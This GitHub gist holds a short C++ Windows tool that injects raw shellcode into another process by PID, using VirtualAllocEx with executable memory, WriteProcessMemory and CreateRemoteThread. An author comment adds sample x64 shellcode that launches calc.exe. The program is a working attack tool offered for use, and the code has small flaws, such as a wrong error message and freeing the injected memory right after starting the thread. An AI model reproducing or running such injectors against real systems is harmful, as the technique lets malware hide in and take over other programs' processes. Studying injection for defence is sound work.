Skip to content

Instantly share code, notes, and snippets.

@visuve

visuve/ProcessInjector5000000.cpp

Last active October 29, 2020 19:13
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save visuve/401b62f950691a4c0edb8e2e2539d8a7 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save visuve/401b62f950691a4c0edb8e2e2539d8a7 to your computer and use it in GitHub Desktop.
Download ZIP
Process Injector 5 000 000
Raw
ProcessInjector5000000.cpp
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <Windows.h>
struct AutoClose
{
void operator()(void* handle)
{
if (!handle)
{
return;
}
if (!CloseHandle(handle))
{
std::cerr << "CloseHandle failed for: " << handle << std::endl;
}
}
};
DWORD Inject(int pid, const std::vector<char>& bytes)
{
std::unique_ptr<void, AutoClose> process(
OpenProcess(PROCESS_ALL_ACCESS, FALSE, static_cast<DWORD>(pid)));
if (!process)
{
std::cerr << "OpenProcess failed!" << std::endl;
return GetLastError();
}
LPVOID baseAddress =
VirtualAllocEx(process.get(), nullptr, bytes.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!baseAddress)
{
std::cerr << "VirtualAllocEx failed!" << std::endl;
return GetLastError();
}
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(process.get(), baseAddress, bytes.data(), bytes.size(), &bytesWritten))
{
std::cerr << "VirtualAllocEx failed!" << std::endl;
DWORD error = GetLastError();
if (!VirtualFreeEx(process.get(), baseAddress, 0, MEM_RELEASE))
{
std::cerr << "VirtualFreeEx failed!" << std::endl;
}
return error;
}
std::unique_ptr<void, AutoClose> remoteThread(
CreateRemoteThread(
process.get(),
nullptr,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(baseAddress),
nullptr,
0,
0));
if (!remoteThread)
{
std::cerr << "Failed to execute bytecode" << std::endl;
return GetLastError();
}
if (!VirtualFreeEx(process.get(), baseAddress, 0, MEM_RELEASE))
{
std::cerr << "VirtualFreeEx failed!" << std::endl;
}
return ERROR_SUCCESS;
}
int main(int argc, char** argv)
{
// Started coding 21.10.2020 22:56
// Finished 21.10.2020 23:47
if (argc < 3)
{
std::cerr << "Process injector 5 000 000 (five million)" << std::endl;
std::cerr << "Usage: "<< argv[0] << " <PID> <path to bytecode>" << std::endl;
return ERROR_BAD_ARGUMENTS;
}
int pid = 0;
try
{
pid = std::stoi(argv[1]);
}
catch (const std::logic_error& e)
{
std::cerr << "Failed to parse PID: " << argv[1] << ". Reason: " << e.what();
return ERROR_BAD_ARGUMENTS;
}
if (pid <= 0)
{
std::cerr << "Invalid PID: " << argv[1];
return ERROR_BAD_ARGUMENTS;
}
std::ifstream file(argv[2], std::ios::binary);
if (!file)
{
std::cerr << "Failed to open: " << argv[2];
return GetLastError();
}
std::vector<char> bytes(
(std::istreambuf_iterator<char>(file)),
(std::istreambuf_iterator<char>()));
file.close();
return Inject(pid, bytes);
}
@visuve
Copy link
Author

visuve commented Oct 21, 2020 •
edited
Loading

Sample bytecode:

const uint8_t RunCalcExe[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment